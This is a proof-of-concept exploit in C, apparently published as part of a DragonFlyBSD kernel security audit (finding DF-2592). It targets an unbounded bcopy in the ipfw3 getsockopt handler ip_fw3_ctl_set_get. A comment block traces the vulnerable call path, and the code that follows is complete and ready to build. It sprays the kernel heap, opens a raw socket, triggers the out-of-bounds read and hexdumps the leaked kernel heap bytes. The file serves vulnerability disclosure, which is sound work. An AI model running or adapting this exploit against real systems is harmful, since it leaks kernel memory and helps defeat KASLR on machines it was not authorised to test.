โฌข DragonFlyBSD Kernel Audit
DF-2592 / poc.c
โ† back to finding โ†“ download raw
/*
 * DF-2592 PoC โ€” kernel heap memory disclosure via ip_fw3_ctl_set_get.
 *
 * Bug: sys/net/ipfw3/ip_fw3_set.c โ€” ip_fw3_ctl_set_get() does:
 *     bcopy(&ctx->sets, sopt->sopt_val, sopt->sopt_valsize);
 * but ctx->sets is a SINGLE uint32_t (4 bytes) sitting at offset 32 of the
 * ~36-byte kmalloc'd struct ipfw3_context (kmalloc-64 bucket). sopt_valsize
 * is attacker-controlled (up to 65536 non-root, 32MB root via getsockopt)
 * and is NEVER clamped to sizeof(ctx->sets). The bcopy therefore reads
 * (sopt_valsize - 4) bytes PAST the end of the sets field, through the
 * zeroed intra-chunk padding, into neighbouring slab chunks / pages, and
 * copies that stale kernel heap back to the caller. Repeatable kernel
 * heap disclosure primitive.
 *
 * Reach (getsockopt path):
 *   getsockopt(raw_ip_sock, IPPROTO_IP, IP_FW_X=49, buf, &len)
 *   -> rip_ctloutput (raw_ip.c:335, SOPT_GET) -> ip_fw3_sockopt
 *   -> ip_fw3_ctl_x (ip_fw3.c:1039) strips 4-byte ip_fw_x_header{opcode},
 *      sets sopt_name=opcode, sopt_valsize-=4
 *   -> ip_fw3_ctl (ip_fw3.c:1070) IP_FW_SET_GET(95)
 *   -> ip_fw3_ctl_set_sockopt -> ip_fw3_ctl_set_get -> OOB bcopy.
 *
 * NOTE on privilege: a raw IP socket requires caps_priv_check(SYSCAP_NONET_RAW),
 * i.e. root (or jail allow_raw_sockets). The bug path is root-reachable; this
 * PoC must be run as root. The leak is of KERNEL heap, so it is still a real
 * kernel info-disclosure / KASLR-defeat primitive from a privileged context,
 * but there is no unprivileged boundary to cross.
 *
 * Build:  cc -o poc poc.c
 * Run:    ./poc [readlen]    defaults: readlen=4096
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* IP_FW_X is the ipfw3 setsockopt/getsockopt selector (netinet/in.h: 49) */
#ifndef IP_FW_X
#define IP_FW_X    49
#endif

/* IP_FW_SET_GET = 95 : get the set config (returns ctx->sets, 4 bytes valid) */
#define OP_SET_GET  95

/* ip_fw_x_header: 4-byte header stripped by ip_fw3_ctl_x */
struct ip_fw_x_header {
    uint16_t opcode;
    uint16_t _pad;
};

int main(int argc, char **argv)
{
    size_t readlen = (argc > 1) ? (size_t)strtoul(argv[1], NULL, 0) : 4096;
    if (readlen < 16 || readlen > 65536)
        readlen = 4096;

    /* user buffer = ip_fw_x_header + (readlen-4) payload bytes */
    size_t buflen = readlen;
    unsigned char *buf = malloc(buflen);
    if (!buf) { perror("malloc"); return 2; }

    printf("[*] DF-2592 ip_fw3_ctl_set_get unbounded bcopy heap leak\n");
    printf("[*] getsockopt(IPPROTO_IP, IP_FW_X=%d, opcode=IP_FW_SET_GET=%d) readlen=%zu\n",
           IP_FW_X, OP_SET_GET, readlen);
    printf("[*] ctx->sets is a single uint32_t (4 bytes); we read %zu bytes -> %zu leaked\n",
           readlen, readlen - 4 - 4);

    /* ---- step 1: churn kernel heap so neighbouring kmalloc-64 chunks hold residue ---- */
    printf("[*] churning kernel heap (pipes/sockets) to populate slab residue...\n");
    for (int i = 0; i < 200; i++) {
        int p[2];
        if (pipe(p) == 0) { close(p[0]); close(p[1]); }
        int s2 = socket(AF_INET, SOCK_DGRAM, 0);
        if (s2 >= 0) close(s2);
    }

    /* ---- step 2: open raw IP socket (needs SYSCAP_NONET_RAW = root) ---- */
    int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) {
        perror("[-] socket(AF_INET,SOCK_RAW,IPPROTO_RAW)");
        printf("[-] raw socket requires root (SYSCAP_NONET_RAW). errno=%d\n", errno);
        free(buf);
        return 2;
    }
    printf("[+] raw socket opened fd=%d\n", s);

    /* ---- step 3: build the IP_FW_X payload: header(opcode=95) + padding ---- */
    memset(buf, 0, buflen);
    struct ip_fw_x_header *xh = (struct ip_fw_x_header *)buf;
    xh->opcode = OP_SET_GET;
    xh->_pad   = 0;
    /* put a recognizable marker in the payload region so we can see it get
     * clobbered by the kernel's bcopy of ctx->sets + leaked heap */
    memset(buf + sizeof(*xh), 0x5a, buflen - sizeof(*xh));

    /* ---- step 4: getsockopt โ€” kernel overwrites buf with leaked bytes ---- */
    socklen_t len = (socklen_t)buflen;
    printf("[*] getsockopt len=%u (before)\n", len);
    fflush(stdout);

    int rc = getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len);
    int saved_errno = errno;
    printf("[*] getsockopt rc=%d errno=%d (%s) returned len=%u\n",
           rc, saved_errno, strerror(saved_errno), len);

    if (rc < 0) {
        printf("[-] getsockopt failed; ipfw3 may not be loaded (kldload ipfw3)\n");
        close(s);
        free(buf);
        return 1;
    }

    /* ---- step 5: analyse what came back ----
     * First 4 bytes = ctx->sets (valid). Bytes [4..len-1] are the OOB read
     * past the sets field: first ~28 bytes are zeroed intra-chunk padding of
     * the kmalloc-64 chunk; everything after offset 32 (relative to &sets) is
     * the neighbouring slab chunk / adjacent page = leaked kernel heap.      */
    size_t got = len;
    size_t nonzero = 0, nonzero_after4 = 0, nonzero_after32 = 0;
    size_t first_nz = (size_t)-1;
    for (size_t i = 0; i < got; i++) {
        if (buf[i] != 0) {
            nonzero++;
            if (i >= 4)  nonzero_after4++;
            if (i >= 36) nonzero_after32++;   /* offset>=36 past &sets == next chunk */
            if (first_nz == (size_t)-1) first_nz = i;
        }
    }
    printf("[*] got=%zu bytes back; nonzero total=%zu, after[4]=%zu, after[36]=%zu\n",
           got, nonzero, nonzero_after4, nonzero_after32);
    if (first_nz != (size_t)-1)
        printf("[*] first nonzero byte at offset %zu\n", first_nz);

    /* the valid ctx->sets value */
    uint32_t sets_val = 0;
    if (got >= 4) memcpy(&sets_val, buf, 4);
    printf("[*] ctx->sets = 0x%08x\n", sets_val);

    if (nonzero_after4 > 0) {
        printf("[!] LEAK CONFIRMED: %zu nonzero bytes returned past the 4-byte sets field\n",
               nonzero_after4);
        printf("[!] sample hexdump (offset 0..63 of returned buffer):\n");
        for (size_t i = 0; i < got && i < 64; i++) {
            printf("%02x ", buf[i]);
            if ((i & 15) == 15) printf("\n");
        }
        printf("\n");
        /* dump a 128-byte window around the first non-padding nonzero region */
        size_t dumpstart = (first_nz < 4) ? 32 : first_nz;
        if (dumpstart < got) {
            size_t dumpend = dumpstart + 128;
            if (dumpend > got) dumpend = got;
            printf("[!] leak window [%zu..%zu):\n", dumpstart, dumpend);
            for (size_t i = dumpstart; i < dumpend; i++) {
                printf("%02x", buf[i]);
                if ((i - dumpstart) % 32 == 31 || i == dumpend - 1) printf("\n");
            }
        }
    } else {
        printf("[~] no nonzero bytes past offset 4 in this run (heap may be clean);\n");
        printf("    the OOB read still happened (got=%zu bytes from a 4-byte field).\n", got);
    }

    close(s);
    free(buf);
    printf("[*] done\n");
    return (nonzero_after4 > 0) ? 0 : 3;
}